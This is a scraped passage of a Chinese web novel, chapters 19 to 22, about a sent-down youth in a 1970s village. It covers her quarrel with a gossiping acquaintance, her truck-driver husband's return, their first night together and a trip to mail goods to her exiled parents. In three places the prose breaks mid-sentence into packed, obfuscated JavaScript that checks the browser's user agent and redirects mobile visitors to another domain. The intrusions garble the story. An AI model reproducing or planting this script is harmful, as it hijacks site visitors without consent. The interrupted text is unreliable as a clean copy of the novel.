至于谢母说的周久迟受伤的事,应晚真倒是认真的记在了心里,她并不知道在周久迟身上还发生过这件事,她只看到了他的腿,却也没细问。 住在农村也有个好处,分粮的时候有多的粮食就可以拿钱买,还不用票。 一般家里有点余钱粮食又不太够的肯定会留下来买点。 谢母看着这些粮食,掂量掂量后再买了五百斤的红薯,一千斤的土豆,还有两百斤的稻子。 稻子是细粮,家里虽然也不算多么有钱,但是细粮总归是比较好的,手上钱也有一点,不如换点细粮给家里吃吃。 换好粮食也差不多一天过去了,等歇了几天就要继续干活了,清沟渠啥的。 应晚真这些重活不会,她就只分到拔草的活,跟着那些老人孩子一起去就行了,也不算很累。 她跟着之前一起剥玉米的周大娘,周大娘知道应晚真不太会干这些活,每次都细心教应晚真。 而且周大娘也不像村里其他人那样,天天说别人的是非。 不过应晚真不说别人的是非,也总有是非找上应晚真。 这不,现在站在应晚真面前的就是以前一起住在知青点的一个知青,张淼。 “应知青,刚上工回来啊?” 应晚真知道这人不怀好意,也知道上门来的可不会轻易得走。 想着,应晚真皱了眉头,不耐烦地看向她,“是啊,刚下工回来,张知青,你不用回知青点?” 张淼撇撇嘴,“我这不是刚去倩倩家里嘛!在她那里坐了会,陪了陪她!应知青,你们俩都是嫁到村里来的,肯定会有比较多话题吧,你看现在倩倩都怀孕了,已经六个月了,这不是怀孕了身体不太舒服,找我跟她聊聊。” 她略带些苦恼的模样又看了看应晚真,然后跟可惜似的凑近应晚真, “应知青,说真的,我以为你嫁得好一点,你看,现在倩倩嫁的那家,她丈夫是小学老师,体面又懂得疼人,知道倩倩不习惯村里干农活,就不让她干了,现在怀孕了更是什么都不干了,每天都有她婆婆照顾,经常还能有点肉打牙祭, “她现在的日子可真是过得好,应知青,你现在还是每天都要上工嘛?你男人也时常不着家,他们家里对你好不好啊?” 应晚真笑笑并和张淼拉开一个距离,“对我挺好的啊!有吃有喝,我公公婆婆都是不错的人,而且我男人自己有工作,在外面开车,见识多长得又好。” 张淼没得到自己想要的答案,她只想知道应晚真嫁了之后过得不好,就算没有不好,也不能这么乐呵呵的吧。 “应知青,那你是不懂,你看对你好那不是都得依着你嘛?你得让你家里看重你,你看现在这个时候了,反正地里不忙,你完全可以在家里忙活,在外面多累啊,而且你看看你男人现在领工资,这在村里可是数一数二的,你要那么卖命干什么?” 应晚真知道张淼就是见不得人好,别说她成分的问题,就是她成分很好,要是天天待在家里也会被别人的唾沫淹死的。 “张知青,你这话就不对了,什么叫卖命,别人参军的叫牺牲,我们老百姓尤其是我们知青当然应该更加有觉悟,现在就是建设农村的时候,哪有自己躲在家里休息不干活的呢?我男人在外面上班,我建设家里,这怎么到你嘴里就是我男人不看重我,只知道让我干活呢?你看看现在哪家不干活,你这么说出不会是想挑拨离间吧?还是你自己不想干活所以撺掇我不干,这样你就可以不干了?张知青你这思想觉悟不行啊” 应晚真说的声音不大也不小,但是只要经过这里的人都能听到,再说了现在正是下工的时候,大家都挺有兴致看热闹的。 这不就有一个婆婆来得晚,不知道事情怎么回事。 “老三媳妇,咋了,这是干啥了?什么撺掇什么?” “大娘,我也不知道张知青找我干什么,打听我公公婆婆对我好不好,说是王知青嫁的好,现在都不用上工了,不过我觉得不是那么回事,王知青现在怀孕了,怀孕了身体本来就重,现在在秋收也结束了,王知青可以休息好好养孩子。 “我现在又没有怀孕,而且我是下乡知青,我既然是下乡知青那肯定要积极响应国家号召啊,虽然平日里我干的活不如各位叔婶好,但是我也会努力学习的,希望大家可以看到我的进步。” 虽然应晚真没有明说,但是大家也心知肚明,这不就是撺掇人家回家闹不上工嘛?幸好这应知青心眼实,要是那些心眼不好的说不定回家就要闹呢。 大娘顿时就接话说,“那还是老三媳妇觉悟高,哪像某些人,自己没啥觉悟还撺掇别人,就跟以前的日本鬼子的汉奸一样!” 张淼顿时气得不行,“你说谁汉奸呢?” “我又没说你,你急什么,你不会是心虚吧?” 应晚真不想再陷入这种无谓的口舌之中,“大娘,天都快黑了,赶紧回屋吧,等会儿就要看不见了。” 大家一瞅这天,天边只剩下蓝黑色了,“哎呦,现在天黑得可真早啊,刚刚外边都还亮堂呢!” 说着,大家就各自回家去了。 应晚真也没多待,加快脚步回了家。 因为周久迟不在家,所以应晚真在家里还算是比较透明的,到了饭点她就吃饭,到了她洗碗的日子她就洗碗。 谢红英和周家庸对应晚真也没其他的要求,所以应晚真的日子还算平静。 过了两天,应晚真吃完晚饭就回了房间,拉好窗帘,现在他们窗户已经做好了窗帘,就是周久迟以前的那块军绿色被单,应晚真用针线把破了的地方补了补,补的是正方形的布料,虽然是补过的但是看起来整洁干净。 至于那块蓝色的布料,应晚真打算等周久迟回来,看看要不要给他做点什么,原本想着要是有暖手宝就裁一片下来包暖手宝,可这是好的布料,要是寄给爸妈,担心到不了爸妈手里。 现在还早,毕竟是农村,现在的电费也贵,而且电不稳定,经常这里停电那里停电,所以大家都很早关灯睡觉。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15431318|169040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但应晚真不太习惯,现在也就晚上七点多的样子,她打开灯把今天意外看到的属于周久迟的小学初中课本翻了出来。 她随手拿了本中学课本,就着昏黄的灯看了起来。 这本书的书面还有周久迟的名字,不算好看,但是一笔一划很工整,应晚真脑海中似乎能想象周久迟认真趴在书桌上写字的模样。 一页页地翻过去,到处都能看见周久迟的笔记,还有一些涂鸦。 而课本的每一篇文章都让应晚真回忆满满。 “叩叩” “晚真,晚真?睡了吗?” “还没,”应晚真仔细辨认这压低的声音,“久迟?是你吗?” “是我!” 应晚真得到答话,急急把门锁打开,一开门就看见风尘仆仆的周久迟站在门外,手里还提着一包东西,“快进来!怎么这么晚回来?” 问完,应晚真又想起大前天晚上周久迟说自己的行程,“不是说明天才回来嘛?” “昨天到了市里,大晚上就卸货,卸完马上就装货了,而且今天路上车少,开得快,傍晚就到县城了,我想着都到县城了,就干脆回来了。” “路上吃饭了吗?我看看厨房还有什么没有?” 看到周久迟摇头,应晚真便走向厨房,打开厨房的灯,“你先坐会儿,我给你弄点吃的。” 周久迟跟着应晚真,“不急,现在天越来越冷了,你穿多点再出来。我把火生起来,你先坐在灶边。” 说着,周久迟就把应晚真拉到一边,自己麻利地生起火来。 应晚真也在看柜子里还有的粮食,什么也没有,正当应晚真想着去找谢母拿点粮食,就听见周久迟说,“我这次买了些干面条回来,市里看见的,煮一下就能吃。” “嗯,好!你放着吧,我来煮。” 应晚真在厨房外拔了两棵葱又弄了点蒜,就听见其他房陆续有声音出来,这不禁让她皱了眉,现在是周久迟没吃晚饭,要是几家人一起出来,那可没有那么多粮食,而且她也不耐烦做那么多。 “老三回来了是吧!”谢母的声音不大不小,由远及近。 “是,娘,刚回来。” 谢母看了看厨房说,“路上肯定没吃晚饭吧,娘这里还有个鸡蛋,你煮了吃,这个鸡蛋就是你的,昨天你大哥二哥家里每个人都吃了一个,就你在外面没吃。我再拿点面,你自己煮了吃。” 周久迟抬头望了望其他两房的房间,也看到了谢母对他的暗示,包括她手里的两个鸡蛋。 他压低声音说,“谢谢娘,你也一起吃点吧!我买了干面条,一起吃点。” “娘早吃过了,你就跟你媳妇一起吃吧,你放心,你二哥那边我去说,你就放心吃吧。” 说完,谢母看了看应晚真切的葱,看着这葱段切得均匀,也看到了应晚真愿意照顾自己儿子,顿时心里也放心不少。 “那你们两口子吃吧。” 说完,谢母就迈着步子回去,路过二哥的房间后,她故意停住脚步,稍微等了一段时间,那门就打开了。 20. 第 20 章 “呀!娘,你咋在这,你想吓死我啊!” 周久建被门外杵着的谢母下了一大跳。 “我还想问你呢,大晚上不睡觉干什么?你弟刚回来,打算吃个饭,你别往前凑。” 周久建这下就不满意了,“三弟回来了我还不能去看他啊,什么叫我往前凑啊,娘你怎么能这么想我?” “明天见不是一样,再说了人家夫妻两个在那,你过去干什么,而且你弟那么晚了忙到现在还没吃饭,你过去干什么,等着你弟碗里的汤给你喝一口吗?” “娘,你这是什么话,我是这样的人嘛?” 谢母哼了一声,“赶紧回屋睡觉去,鸡蛋都是家里每个人都是一样的份,你弟昨天没吃,你别凑上去,你弟又给你吃了!” “娘,那都多久事了,你咋还提?” “怎么,你当哥的能做,我当娘的还不能提了!”说完,谢母斜了周久建一眼就回房了。 周久建绷着脸,用脚狠狠地踹了一下地面,但在踹到的时候又收了力道,还做贼心虚似的往爹娘房间张望,见门虚掩着,这才回屋。 一进屋他就被自己媳妇拧住了耳朵,“你看看你,你娘都瞧不起你,呦,你也是真能行,连自己亲弟碗里的东西都抢。”这倒不是孙盼娣道德底线多高,只是看不惯周久建而已。 周久建恼羞成怒,他面目狰狞,直瞪着孙盼娣,“那也是我弟,你看看你,不是你想着看看我弟吃什么嘛?你还有胆子说,你看看你自己都盯着自己小叔子的饭碗,哼!” 孙盼娣被说的面红耳赤,但周久建说完就躺下了,还占了一大半的床,任孙盼娣怎么扯被子也不搭理。 而谢母这边,老两口也在说话。 “你看看老二那边,肯定又在闹了,咱们家一直以来本来就是老三出力得多,现在他又没多拿家里的,大家还老是盯着老三看,幸好老三不计较这些,不然家里能有宁日嘛?” 周家庸坐在床边不说话。 谢母看他这模样是又急又气,“本来我不打算出去的,反正现在老三有媳妇了,他们现在也是培养感情的时候,但是就那些跟饿死鬼一样的人,我要是不出去一趟,别说老三两口子要不要培养感情,就是吃饭都吃不安生。” 周家庸拧着眉头,沉思良久才开口,“好了,先睡吧。” 谢母被气到了,但是周家庸一直都是这样,有什么也不说,“睡睡睡,就知道睡!” 说完,她卷起被子被对着周家庸睡去了。 * 这边,应晚真看见两个鸡蛋顿时高兴了。 煮面再加个蛋,味道最好了,她还拔了两根小白菜一起煮在面里。 再调味,碗里被应晚真放了一点猪油,还有酱油盐巴一点点糖提鲜,葱蒜放进去,等水烧开,放在有调料的碗里备用。 等面下下去,再煮开个两次,鸡蛋打下去,在把小青菜也放下去烫,没过一会儿,面就熟了,应晚真捞起来。 “你快去吃吧。” “咱俩一起。” 周久迟接过应晚真洗锅的丝瓜布,“我来洗,你把面端桌上去。” 应晚真看周久迟强硬,而且他是干惯这些活的,干起来也麻利,她也就没有拒绝了。 果然,应晚真刚摆好饭没多久,周久迟就已经收拾好了。 周久迟一大碗面,应晚真就是自己一小碗,还有一个鸡蛋,这是一人一个的。 因为放了猪油,而且还有各种调料,面香在这只有昏黄的等点缀下渐渐冒出诱人的香气。 至于老二家闻到之后又起了什么争执,应晚真是不知道了,也没兴趣知道。 周久迟快速地吃了几口,刚垫了垫肚子,就看见应晚真那秀气的吃相,顿时自己也斯文了起来。 应晚真突然感觉到周久迟吃得好像不太尽兴的样子,“怎么了,是不符合你的口味吗?” “不是不是,很合,非常合,”周久迟头摇的跟拨浪鼓一样,“我就是想着吃慢一点,好吃嘛!” 应晚真看着周久迟这幅模样,也露出一个笑来。 等吃完,周久迟就手脚麻利地把碗拿去洗了,“你先进房吧,现在是越来越冷了,你穿的也不多,我洗完再洗个澡就进去了。” 应晚真点点头,看周久迟还在洗碗,“我给你拿衣服。” 等看到周久迟点头,应晚真才回房收拾衣服。 这两天她也把房间给收拾了一遍,现在屋里哪个位置放了什么她最清楚。 不过就是给周久迟拿里面替换的衣服时,她有些不自在。 周久迟早就提着桶给自己盛热水了。这会儿看见应晚真手里的衣服,顿时心里就是暖暖的。 “赶紧进去吧,外边怪冷的。” “知道了。” 周久迟目视应晚真进屋便马上进洗澡间了,他把换洗衣服往衣架上一放,便开始拖自己的而衣服,还没脱完,他就想起自己的里衣,顿时他的心就悬起来了。 鬼使神差的他拿起衣服看了看,就看见整齐和外衣放在一起的内裤,顿时周久迟的嘴就抿成一条直线,要不是那通红的耳根,不认识的要以为他生气了。 下一秒他马上把自己身上衣服脱了,打算快点洗完就进房里去见应晚真,他现在可想她,非常想。 把水哗啦啦给自己冲了冲,周久迟突然想起他出车之前两人说的话,那时候媳妇怎么说的来着,说是下次出车回来再说。 周久迟顿时整个人就呆了,现在不就是出车回来嘛。 他对接下来要发生的事很期待,不过自己媳妇可能还是没准备好,但是万一她准备好了呢,那自己不能随便应付了。 周久迟看了看自己还剩下的半桶水,顿时开始细致将自己洗起来。 用完了这半桶水,周久迟还回厨房又打了一桶。 应晚真在周久迟开洗澡间的门的时候就听见了,但是等了很久只听到另一声进洗澡间的声音。 应晚真皱了皱眉,还是继续看课本。 又过了一会儿,周久迟才带着满身热气进来。 他一进来就看见应晚真坐在桌边,头顶上昏黄的等照下来,把应晚真整个人都照得柔和了,尤其是她那头乌黑的头发,周久迟只觉得这应该是他活这么多年以来看过的最好看的一幕了。 他有点担心自己会吵到应晚真,“你在看什么?” 应晚真狡黠一笑,把书举到周久迟面前,“你看!” 周久迟定睛一看,顿时面皮一紧,那不是他读书时候不认真上课瞎画的嘛?还写了个下河摸鱼。 顿时,周久迟脸色就不自然了,面色发窘,他伸手把自己的书拿过来,嘴里嘟囔,“这都啥时候写的了,再说了,说不定是别人在我书上写的。” “别人?你还让别人用你的书啊?” 周久迟听到这个问话顿时又紧张了,“哪有,我才不会把书借给别人呢!” 说完这话周久迟就看到应晚真那带着笑意又有点像狐狸的眼神,他顿时换了个话题,“好了好了,不看这个了,也这么晚了,咱们睡觉吧。” 应晚真今天也看累了,“赶紧睡吧,你明天还有什么事吗?” “明天开始在家待三天,三天之后我要去跑一趟长途,去临市,要运点过年的年货回来,大概要七八天,晚一点就十天。” 周久迟看着应晚真的侧脸,想着刚刚在洗澡间想的,慢慢靠近应晚真。 应晚真还在想着这三天要干什么,没发现越来越近的周久迟。 等到她发现周久迟已经拉住了她的手,周久迟的手很大很暖也有点粗糙,尽管有被吓到,但应晚真并没有把他甩开。 “怎么了?”应晚真转头,但话音刚落,她就从周久迟眼里看出了一股渴望。 周久迟看着应晚真好一会儿,才说,“可以吗?” 应晚真被他这么一问,顿时脸就红了,周久迟的眼神烫得她不敢直视。 应晚真微微挣扎了一下周久迟紧握自己的手,虽然周久迟没继续用力,但是也没放开。应晚真也只是轻轻挣了一下而已就停下了动作,过了几秒,就在周久迟以为不行打算放手的时候,突然就听到应晚真说,“你要是问我,那我只会回答不可以。” 周久迟一愣,眼里迸发出的惊喜简直要淹没所有。 他放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15437363|169040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开应晚真的手改成拥住她,“那我收回刚刚的话,不问你,可不可以?” 周久迟说这话的时候靠得很近,应晚真只觉得被周久迟呼出热气喷到的地方热热的,她有些不自在,但还是没躲,“嗯。” 周久迟听见那声嗯就跟打了鸡血一样,一个翻身上来…… * 过了好久,周久迟又开门出来了,他摸了摸灶里的水,温度是正好的,幸好刚刚他洗澡的时候顺便在灶里添了火还添了水。 把水打好他就进屋,轻轻地给应晚真清理身体。 现在十二月了,这个天不盖被子就会冷,但还要擦拭身体,所以应晚真只能靠在周久迟身上,这样才不会太冷。 等都收拾好了,周久迟才抱着应晚真躺着,应晚真只薄薄的穿了一件,这时候被周久迟紧紧抱着,她还是有点不习惯,想了想,她便挣扎着离开周久迟的怀抱。 周久迟感受到应晚真想离开,心里不太高兴,又一个劲把应晚真捞进自己的怀里。 “你别,”应晚真用手抵住周久迟的胸膛,“我不习惯。” 周久迟看应晚真是真的不习惯,才稍微放开一点点。 “我只是觉得抱得太紧了,咱们现在这样就很好。” 周久迟听了这话才放了点心,他担心应晚真是因为不喜欢自己才不想自己靠得那么近。 本来应晚真挺困的了,但是现在这么一折腾倒是没那么想睡,她恍然想起,似乎前世周久迟很少出远车,一般都是本市的,因为一般都是两三天,三四天就回来了,这次怎么还有临市的呢,“你们出车都是怎么安排的啊?市里和临市都是随机的吗?” 周久迟看应晚真想知道自己的事,当然知无不言,“我们县里的运输队一般都是县里的物资,平常的物资啊,春天时候的种子农药化肥,还有供销社卖的,都是我们运输公司运过来的,像平日里咱们一些厂的物资,要运也是找我们,这次不是马上就要过年了嘛, “咱们这和临市一起申请了一批物资,也就是一些塑料盆还有一些海产品,我们过去把它运过来,都是一些单位的过年福利,咱们县也是跟别人换的,咱们县不是红枣多嘛,就是这些跟人家换一些海产品。” 应晚真点点头,“所以一般都是县里和市里出车比较多,出远门还是比较少,这次是你们都一起出去吗?” “那也不是,我们运输队总共九个人,有些要去省城的,还有一些家里不方便有事的那就去市里,市里近嘛,省城的一般也需要六天。队里都是轮着来,但是遇到家里有事的,大家也会互相换一换。” 应晚真听到这里,眼眶不禁有些湿润,前世他是不是一直跟别人换,因为前世的现在正是被发现没有同床,家里闹得凶的时候,那时候他从来没有跑过什么长途,最远也就是市里了,想来那时候他压力也很大吧。 周久迟讲了这么多不是让应晚真难过的,而且他也不理解应晚真为什么要露出这样难过的表情,“晚真,怎么了?是难过了嘛?” 应晚真摇头,“不是,觉得你们开车也好辛苦,一来一回要这么久,路上也不一定太平,你们在路上都吃什么啊?” 周久迟笑笑,“也没什么辛苦的,一直都是坐着开车,吃饭的话,要是到了饭点没到有卖吃的,就吃自己准备的干粮,饼子什么的都有,要是有卖吃的就买一点,睡觉的话一般我们会计划好每天到哪停,都是有人的地方,毕竟还要看着东西,不能让人把东西给截了。” “还有人截东西?” “有啊,所以我们一般不在晚上开车,晚上天也比较暗,而且在少人的地方,我们肯定是几个人一起出车的。” 应晚真没遇过这样的事,但是也知道这事一旦遇上就是危险,“那你们要尽量安排好啊,千万要注意安全。” 周久迟心里暖呼呼的,“那肯定的,我一定会注意安全的,你看我现在还是有媳妇的人,那肯定比以前更加注意了。” 应晚真忍不住伸手掐了他一下,“赶紧睡吧。” 周久迟伸手搂住了应晚真,当然没有抱太紧,“好的,媳妇。” 应晚真嗔他一下,没在说话。 21. 第 21 章 第二天,一起床,应晚真就发现天已经大亮了。 这时候周久迟也正好进来,“醒了?睡得怎么样?” 应晚真认真地感受了一下自己的身体,也没什么太大的异样,虽然昨天的事现在她身体还有一点点感觉,“还行吧,” 说完,就看见周久迟还有话说的模样,“怎么了嘛?” 周久迟抬头示意放在桌子边上的东西,“这是我昨天带回来的。” 应晚真看见一大包,便马上打开看,一罐麦乳精,一网兜苹果,一包糕点,还有一包水果糖。 “这是你带回来的?这么多!”现在麦乳精都是精贵东西,水果糖啥的也是,一般人家哪里舍得买,过年都不见得有,苹果更是了。 “嗯,你留着自己吃,家里我也买了,一网兜苹果,还有两包糖,一袋子香菇,到时候家里炖汤吃,不过家里麦乳精就没有了,麦乳精你留着自己吃。” 应晚真有些犹豫,“这不太好吧。” “没什么不好的,你看你最近都瘦了,他们也没瘦,再说了我自己挣的钱,被发现了推我身上就行。” 应晚真点点头。 “上次你说把买的布料给裁缝去做棉裤,应该这两天就做好了吧?” “是的,上次约好的时间就是这两天。” “行,那今天我们去县城吧,”说着,周久迟悄悄凑近应晚真,“热水壶和暖手宝已经买好了,我寄存在我县城朋友家了。” 说完,他又解释道,“热水壶太大了,而且拿回来又拿回去引人注目,索性我就没带回来,咱们村里人多嘴杂的。” 应晚真认同地点头,“嗯嗯,是得小心点,待会儿拿到东西我自己去寄就好了,要是被人知道你也去了,我担心有人……” 话没说尽,但周久迟明白应晚真的意思,虽然现在只是岳父岳母,但现在的情况就是亲生父母也有可能被孩子给举报,所以各种连带责任还是非常多的。尽管周久迟想在自己岳父岳母面前表现一下,但是也不得不小心一点,毕竟现在他也是有家室的人。 “我明白的,你放心吧,我会小心的。” 等出了房门,应晚真才发现自己今天起得算晚的了,因为周父已经出门上工了,家里其他人也陆续出门了。 “娘,今天我带我媳妇去一趟县城,中午不用做我们饭了。” 谢母听到这个也没拒绝,而且还笑呵呵的,“行,你带你媳妇要干嘛就干嘛去,反正你自己的工资够你们俩吃的了。” 后面那句自然是说给二哥二嫂他们听的,不然知道应晚真不上工,老二家的又要闹起来。 “老三家的,你这几天就不用上工了,反正老三这几天不用出去开车,他干就行了。”谢母一脸和善的看着应晚真。 从应晚真起来看见谢母,就没见谢母脸上的笑下来过,尤其是看着应晚真的时候,和以前看向她的眼神很不一样,以前在知道自己的成分时,谢母对自己是不满的,后来因为周久迟的坚持,谢母才对自己有了几分好脸色,但这也只限于在知道他们俩没同房之前,所以现在看到谢母突然对自己笑得那么开心,她心里就有点毛。 她知道谢母其实是个不错的人,只是也知道很疼爱自己的儿子,所以当初对自己不满,这些应晚真都理解。 不过应晚真也没多想些什么,跟着周久迟去吃早饭了。 至于老大和老二一家,这会儿正出门上工去。 应晚真吃完饭想着先把衣服给洗了,然后再去县城,可一到院子里,哪里还有自己的衣服,全部都晾着,还有昨晚的被单。 应晚真看着还在滴水的被单,顿时明白了刚刚谢母的表情了。 她有些无语地看向还在一边眉眼愉快的周久迟,只觉得羞耻又无可言说,只能过去狠狠掐了周久迟一把。 周久迟刚把上县城的东西收拾好,就被自己媳妇掐了一把,他正不明所以呢,就看见自己媳妇红着的脸庞,顿时心里又乐了。 “没事的,媳妇,他们又不知道。” 应晚真看着周久迟脸上的笑,“你都写在脸上了!” 说完,应晚真也不想再理会周久迟,结果一低头就看到周久迟手里拿着的自己的小衣服了,“你怎么还拿着这个!” 应晚真惊讶得连声音都拔高了,只是她后面刻意控制着才不至于声音太大。 周久迟这会儿也有点害臊了,“我给你洗嘛! “我都洗好了,现在就去晾!” “你别晾在外面。”应晚真看着周久迟往晾衣杆上走,连忙叫住他,“晾在外面不太好。” “可是放在屋里风干也不太好。” “咱们院里人来人往的,我不想让别人看见。”应晚真知道内衣裤还是要在太阳底下晒干比较好,但是她实在不肯相信这里的民风,不说以前没结婚时有各种流氓,就是周久迟的哥哥们还有他爹,应晚真也觉得不适,所以她从来不把自己的内衣裤晾在外面。 周久迟理解应晚真说的,但是他不想这么私人的衣服直接自己干,不卫生会得病的,他之前就注意到了这点,但是一直不敢做什么,因为这确实是很私密的东西,他担心自己提了会把应晚真推得更远,他还记得当时的应晚真看起来就像是全身都有着刺,愿意嫁给自己已经不容易了,所以他也不敢再做些什么,让她感到不适。 但现在不一样了,现在两个人更亲密的事情都做了,那洗个内衣裤什么当然也没事了。 “现在家里的人都上工了,先把衣服晾在这里,咱们窗子正好对着院子,我在窗边弄几块木板,上面空着,这样以后你的内衣裤都晾在那里,上面也能透进阳光来。” 应晚真想了想,“好,我们窗户正好是东南向,一天都有太阳照进来,以后你的内衣裤也晾那里吧!” 周久迟想着两人的内衣裤晾在一起,顿时心里就有点热,他觉得自己和应晚真又近了一步,“好。” 周久迟动手能力很强,没多久就已经把窗户改装好了,还做了一个晾衣架。 应晚真试过之后,觉得趁手就放在了自己房间里。 这时候,周久迟从大伯家借了一辆自行车,“走吧,咱们去县城吧。” 应晚真带上了一些钱票就坐在自行车后座上跟着周久迟一起去县城了。 * 两人先去了裁缝那,两条棉裤已经做好了,连带着几双袜子,裁缝说是因为棉花不够,直接用来做帽子不合适,又因为应晚真说看看能做什么就做什么,所以裁缝就自己做了袜子。 应晚真看了,觉得针脚很密,也就放心了。 等拿到棉裤,周久迟就载着应晚真去了他朋友那,拿到了两个热水壶还有暖手宝,还是用毛线包着的,“这是铝制的,直接用太烫了,所以我就买了套子,毛线的,不会烫人。” 应晚真点头,没想到周久迟已经准备好了。 除了热水壶,还有一只羊腿,是风干了的。 “你这是哪来的?” “我这次出车看到有人卖的,就买了一只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15444909|169040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我打听了,北大荒那边最近还算太平,但是毕竟是下放,待遇不怎么样,也没什么油水,天气又冷,还是给点吃的比较好,新鲜的也寄不过去,干脆就买了这个风干羊腿,平常吃还是炖个汤都可以。” 应晚真是真的有点感动了,“谢谢你。” 周久迟看着应晚真,眉头皱了一下很快又松开,“谢什么,我们结婚这么久我还没给岳父岳母什么东西,这是我该做的。” 说起这个,应晚真突然想起,自己似乎还没跟家里说过结婚的事,因为应晚真当时只是靠自己不能安全地活下去了,对这个村子印象也不好,前世还是自己父母平反,自己生了孩子之后才跟家里说的。 想到这,应晚真突然觉得自己有点过分了,不论是前世还是现在她都没有在家人面前好好介绍过周久迟。 等两人拿着大包小包去了邮局,听着周久迟拿着写地址而且写的是农场里一个农兵的地址,应晚真有些好奇。周久迟这才小声说,“这是我以前当兵时候的战友,那时候我们连宿舍都是同一间,后来我们一起出任务,我们一起受的伤,也是一起活着回来的。不过我退伍了,他调回老家在农场当兵了。” 应晚真点点头。 “我已经和他联系过了,他说我们寄东西可以,直接寄给他,他会给我们送到岳父岳母手里,不会被别人拿走。” 应晚真这才知道自己一直太想当然了,确实,直接寄肯定会被人翻的,如果寄给周久迟的战友,虽然也还是要被翻,但是可以确保东西最后会给到自己爸妈手里。 “而且我听他说,那个农场的人还不错,不会出现打压别人欺负别人的人,不过也确实过得比较苦。” 应晚真点点头,问邮政的工作人员借用了纸笔,“那我再给我爸妈写封信。” 周久迟自然没有不应的。 应晚真想了想,把自己最近的生活写下来,还把自己已经结婚的消息告诉了二老,同时让二老放心。 写完之后,应晚真把周久迟喊过来,让他看自己写的信,也让他写一点。 周久迟有点受宠若惊,他忐忑的拿过纸笔,但一看到应晚真的字,就打了退堂鼓,这哪是字啊,简直就是艺术品,他想了想自己那鸡爪子一样的字,顿时不敢写下去了。 应晚真看到周久迟一直不动笔,“怎么了?不知道写什么嘛?我刚刚在信上跟我爸妈说了和你结婚的事,你可以写写我们结婚的事。” 周久迟看着应晚真真挚的眼神,再也不敢说自己担心自己字太丑显得没文化给说出口,既然媳妇都跟家里说了两个人的事,那自己肯定要有男人的担当,虽然自己的字丑,但是还是得让岳父岳母看到自己的态度。 这么想着,周久迟就开始动笔了。 “爸,妈,你们近来可好?我是周久迟,晚真的丈夫,现在是县城运输队的司机。爸妈您二老放心,我一定会对晚真好的,你们放心把晚真交给我,这些东西是晚真给你寄的,寄的这个人是我以前的战友,你可以放心,如果以后有什么事可以找他。” 周久迟看了好几遍,确定不用写什么了,才把信纸给应晚真。 应晚真看了看周久迟写的内容,他写的字虽然丑,但是一笔一划的可以看出很是用心,而且内容也让她暖心。 “好了,那就寄出去吧。” 看着寄出去的信,周久迟的心情是又忐忑又激动,但是更多的是高兴,因为通过这个举动,他才更加深刻意识到自己媳妇愿意让自己融入到她一直生活的家里。 22. 第 22 章 等寄完之后,两个人这次出门的主要目的也就完成了。 两人好不容易出来一次,就算应晚真想回去了,周久迟也不愿意,更何况应晚真对回去也没什么很大的欲望。 “这几天有个新电影,我们一起去看看吧?” 应晚真觉得这是一个非常好的时候,既然能看电影自然不会推脱,“走啊,我都好久没看电影了。” 现在电影院有的电影只有几部,地道战,铁道游击队,上甘岭,草原英雄,应晚真没看过草原英雄,两人便决定一起看草原英雄。 电影院很简陋,就是简单的木凳子,两人找到自己的位置静静等待电影播放,也许现在是大家上工的时候,所以倒没多少人在看电影,周久迟也没去其他地方,就安静地坐在应晚真边上,坐得非常板正。 弄得应晚真老是忍不住转过头去看他。 不过周久迟就像是没感觉到一样,渐渐地,应晚真看电影入了迷,也没管周久迟在干什么。 等两个人看完出来之后,应晚真还是有点意犹未尽,她非常喜欢这种大荧幕的东西,老一点更是给她一种特殊的情感。 “刚刚电影里他们骑马真的太酷了!”应晚真忍不住对周久迟说。 “骑马?” “是啊,你看他们骑马!马奔跑起来那种宏伟,我可太喜欢了。”应晚真说着就想起了小时候,“我以前在家的时候,就经常跟着我爸去马场,那时候我爸带着我骑,后来我学会了就自己骑,不过都很久了。” 周久迟本来也是想一想马,但是没想到媳妇竟然骑过马,他也只是在部队的时候摸过,而且也不太熟练,没想到自己妻子小时候就骑过。 “我以前也摸过,在部队的时候,不过还不太会。” 应晚真没注意到周久迟话里的不自信,仍然沉浸在自己的回忆里,“没事,我也很久没骑了,以后要是有机会我们一起去草原骑马吧!到时候就可以在无边的草原上吹着风在马背上奔跑。” 周久迟听到这话马上也摒弃了自己的小郁闷,随着应晚真的叙述想象着两个人一起骑马的场景,“好,到时候咱俩一起去骑马,到处去看,去看那个湖!” 他说的湖就是电影里的那个湖。 应晚真一直弯着唇笑,那个湖在疆省呢。 周久迟的眼神一直离不开应晚真,他只觉得自己媳妇怎么那么好看呢,第一眼他就觉得自己媳妇好看,现在他仍然不能移开自己的视线,甚至觉得自己媳妇越来越好看。 